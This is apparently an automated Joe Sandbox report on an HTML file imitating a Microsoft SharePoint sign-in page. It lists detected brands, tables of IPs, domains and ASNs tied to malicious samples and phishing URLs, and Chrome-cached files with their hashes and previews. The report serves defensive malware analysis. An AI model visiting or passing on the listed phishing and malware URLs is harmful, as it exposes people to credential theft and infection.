URL: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: :// Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: ://
URL: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: file:///C:/Users/user/Desktop/Profile%20Illustrations%20and%20Technical%20Specifications%20for%20This%20System1.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.1.229	http://www.ledger-secure03948.sssgva.com/	Get hash	malicious	Unknown	Browse	cdn.jsdelivr.net/jquery.magnific-popup/1.0.0/jquery.magnific-popup.min.js
151.101.1.229	New Scanned Copy.html	Get hash	malicious	HTMLPhisher	Browse	cdn.jsdelivr.net/jquery.slick/1.6.0/slick.min.js
151.101.65.229	Ocean-T2I4I8O9.exe	Get hash	malicious	Unknown	Browse	cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js
104.21.80.1	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	my.cradaygo.com/smmylet
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/pmpa/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	hiranetwork.com/administrator/index.php
	downloader2.hta	Get hash	malicious	XWorm	Browse	2k8u3.org/wininit.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jsdelivr.map.fastly.net	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://realpaperworks.com/wp-content/red/UhPIYa	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fwww.gazeta.ru%2Fpolitics%2Fnews%2F2024%2F12%2F22%2F24684722.shtml&id=71de&rcpt=upplysningstjansten@skolverket.se&tss=1735469857&msgid=b53e7603-c5d3-11ef-8a2e-0050569b0508&html=1&h=ded85c63	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://www.gazeta.ru/politics/news/2024/12/22/24684722.shtml	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	https://www.gazeta.ru/politics/news/2024/12/22/24684854.shtml	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	151.101.65.229
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://dnsextension.pro/invoice/d2d0bf8701b34bc296ca83b956c10720	Get hash	malicious	Unknown	Browse	151.101.193.229
easycdn.cdn78drop.click	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse	13.57.116.250
autenticatorresolver.online	Product Blueprint..html	Get hash	malicious	HTMLPhisher	Browse	104.21.64.1
autenticatorresolver.online	Technical Details & Profile Illustrations for This#U00a0Drygair.html	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse	172.66.0.102

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://g248jqtc.r.ap-south-1.awstrack.me/L0/https:%2F%2Ffub.direct%2F1%2Fwpcpz2KV6CJLjr9Ku5V9crqS4vRSbleRYVQVlbRDO0VhTlcqWS8eK4WwWGYEcIFo0NTTfcu_ywSiT_-hMwRGjBfgg1rcvHOcCbgDl1KQiWE%2Fhttps%2Fwestcommerce.com.br%2Fe63i%2F7286520054%2FMackietransportation%2F%23%3Fnl=ZGVhbi5tYWNraWVAbWFja2lldHJhbnNwb3J0YXRpb24uY29t/1/010901943411f671-14b57a2c-4586-496c-a061-2f25bd5eed26-000000/5tAc1I97hb2OTOUlpCX6bWWJ9hY=188	Get hash	malicious	ScreenConnect Tool	Browse	185.166.143.48
	malware.bat	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	185.166.143.50
	http://www.housepricesintheuk.co.uk	Get hash	malicious	Unknown	Browse	52.208.40.39
	#Employee-Letter.pdf	Get hash	malicious	Unknown	Browse	100.22.0.215
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	13.35.58.104
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	143.204.215.82
	hidakibest.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
	https://o365info.com/get-unlicensed-onedrive-accounts/	Get hash	malicious	Unknown	Browse	3.160.150.86
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	18.245.46.25
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Xmrig	Browse	52.222.214.68
CLOUDFLARENETUS	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	anrek.mp4.hta	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	title.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	172.67.208.58
	http://www.housepricesintheuk.co.uk	Get hash	malicious	Unknown	Browse	172.64.155.119
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Agent381.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	https://o365info.com/get-unlicensed-onedrive-accounts/	Get hash	malicious	Unknown	Browse	104.18.27.193
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
FASTLYUS	https://github.com/eclipse-ecal/ecal/releases/download/v5.13.3/ecal_5.13.3-win64.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	151.101.130.217
	https://www.boulderpeptide.org/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.64.176
	https://www.scribd.com/document/787929982/script-tlsfrance	Get hash	malicious	Unknown	Browse	151.101.130.152
	https://www.calameo.com/read/005652686f8ff374103f3	Get hash	malicious	Unknown	Browse	151.101.1.194
	mr2v5o2eB3.exe	Get hash	malicious	Unknown	Browse	185.199.108.153
	mr2v5o2eB3.exe	Get hash	malicious	Unknown	Browse	185.199.110.153
	PO#6100008 Jan04.02.2024.Xls.js	Get hash	malicious	WSHRat, STRRAT	Browse	199.232.196.209
FASTLYUS	https://github.com/eclipse-ecal/ecal/releases/download/v5.13.3/ecal_5.13.3-win64.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	151.101.130.217
	https://www.boulderpeptide.org/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.64.176
	https://www.scribd.com/document/787929982/script-tlsfrance	Get hash	malicious	Unknown	Browse	151.101.130.152
	https://www.calameo.com/read/005652686f8ff374103f3	Get hash	malicious	Unknown	Browse	151.101.1.194
	mr2v5o2eB3.exe	Get hash	malicious	Unknown	Browse	185.199.108.153
	mr2v5o2eB3.exe	Get hash	malicious	Unknown	Browse	185.199.110.153
	PO#6100008 Jan04.02.2024.Xls.js	Get hash	malicious	WSHRat, STRRAT	Browse	199.232.196.209

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping2332_1079684310\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	62338
Entropy (8bit):	5.133002295885071
Encrypted:	false
SSDEEP:	384:bmlnwMeJKsUBpO+0T4Urpoqk8Cv3hkfu0/eZT/kLQUws/Iq03EFHO9wZhB31:yMrpoqk8CPhEu0mfs/Iq0Utn31
MD5:	703A66887E06100377298CF9D978BC62
SHA1:	0E00E8BA603537C3EF19899D2B3FB202871B3901
SHA-256:	DD6C652DEBF0A155AA7609C2DD079CAF34A55A8488B3256D9FF36E08FD9A60AD
SHA-512:	EB2DE157EBADEE1FE6762EC9D4DD1DC4FDB67F26D09C8FC816DF167463385615B1B4A1BED45A13E12526AD4804DD39885DC983FECD8B479CF3E45436C17A4DAE
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jquery.mobile/1.0b3/jquery.mobile-1.0b3.css
Preview:	/!. jQuery Mobile v1.0b3. * http://jquerymobile.com/. . Copyright 2010, jQuery Project. * Dual licensed under the MIT or GPL Version 2 licenses.. * http://jquery.org/license. /./.* jQuery Mobile Framework.* Copyright (c) jQuery Project.* Dual licensed under the MIT (MIT-LICENSE.txt) and GPL (GPL-LICENSE.txt) licenses../.../ A.-----------------------------------------------------------------------------------------------------------/...ui-bar-a {..border: 1px solid ..#2A2A2A;..background: ...#111111;..color: .....#ffffff;..font-weight: bold;..text-shadow: 0 -1px 1px #000000;..background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#111)); / Saf4+, Chrome /..background-image: -webkit-linear-gradient(top, #3c3c3c, #111); / Chrome 10+, Saf5.1+ /..background-image: -moz-linear-gradient(top, #3c3c3c, #111); / FF3.6 /..background-image: -ms-linear-gradient(top, #3c3c3c, #111); / IE10 */..background-image: -o-linear-gradient(top, #3c3c3

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13198), with no line terminators
Category:	downloaded
Size (bytes):	13198
Entropy (8bit):	4.990034583221166
Encrypted:	false
SSDEEP:	384:jwNW8CEpWUVJFXaWoJoJJJJJJJJJJJJJJJJjwJJJJJzGJJJAMXFnJJJJJJJJJJ2I:Eb
MD5:	3C06634AD675CA6FF31D412DDFAB969B
SHA1:	B78B460F3667FE51BBC7CCE0B54F8F38C16D4F33
SHA-256:	FD431CCD32B03FE28FE5615DA50C9CA4DD61A4D22DA98305A99670A090318D26
SHA-512:	B9A74E4D6C2F5B9375EE9F92984D86D320C6031E5F4828BB5774B2D848E43DB87C1C98B5612EB9025134840D6C9A646ED6706C82AB3B12A926F08BF7142614B0
Malicious:	false
URL:	https://autenticatorresolver.online/assets/global/pdf/css/conn.css
Preview:	@media screen and (max-width:600px),screen and (max-height:366px){.f1hihypw{vertical-align:top}}@media screen and (max-width:600px),screen and (max-height:366px){.f1hdxpn2{padding-top:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.fipdpho{padding-right:24px}.f1b09k7r{padding-left:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f15bspdk{padding-bottom:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1b09k7r{padding-left:24px}.fipdpho{padding-right:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1sw15gs{margin-top:0px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1myntb5{margin-bottom:28px}}@media screen and (max-width:600px),screen and (max-height:366px){.fb2nunp{width:100vw}}@media screen and (max-width:600px),screen and (max-height:366px){.f1nfk72b{min-width:auto}}@media screen and (max-width:600px),screen and (max-height:366px){.fieg86w{box-shadow:none}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	46061
Entropy (8bit):	5.087236516316698
Encrypted:	false
SSDEEP:	768:vHUXOdW+jVRVcFY3LZEjf/nta6AZj4s7LlYpES6oey3bzafknRN97O7:vSOfbVoY3lEjXta6Ej4s76WS68XZ97O7
MD5:	3150066D9B80CD51CB0A642603B927C7
SHA1:	FB2350E625AC248A28FB0360CFC67D6F544505ED
SHA-256:	649E303687F5F32DCBA2E2FC1C4254F598B2C09453E401805D12FC70A0928673
SHA-512:	4CEC928633AF13B85EC08E5727C52F5943E701164E8F9A90F02BE54984995ADAD10F8024130E10DCDBCA57E1196C452612280FC83412A116CDE56172C2D4FD1A
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jquery.cycle/2.88/jquery.cycle.all.js
Preview:	/!. jQuery Cycle Plugin (with Transition Definitions). * Examples and documentation at: http://jquery.malsup.com/cycle/. * Copyright (c) 2007-2010 M. Alsup. * Version: 2.88 (08-JUN-2010). * Dual licensed under the MIT and GPL licenses.. * http://jquery.malsup.com/license.html. * Requires: jQuery v1.2.6 or later. */.;(function($) {..var ver = '2.88';..// if $.support is not defined (pre jQuery 1.3) add what I need.if ($.support == undefined) {..$.support = {...opacity: !($.browser.msie)..};.}..function debug(s) {..if ($.fn.cycle.debug)...log(s);.}...function log() {..if (window.console && window.console.log)...window.console.log('[cycle] ' + Array.prototype.join.call(arguments,' '));.};..// the options arg can be....// a number - indicates an immediate transition should occur to the given slide index.// a string - 'pause', 'resume', 'toggle', 'next', 'prev', 'stop', 'destroy' or the name of a transition effect (ie, 'fade', 'zoom', etc).// an object - properties to control the

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var 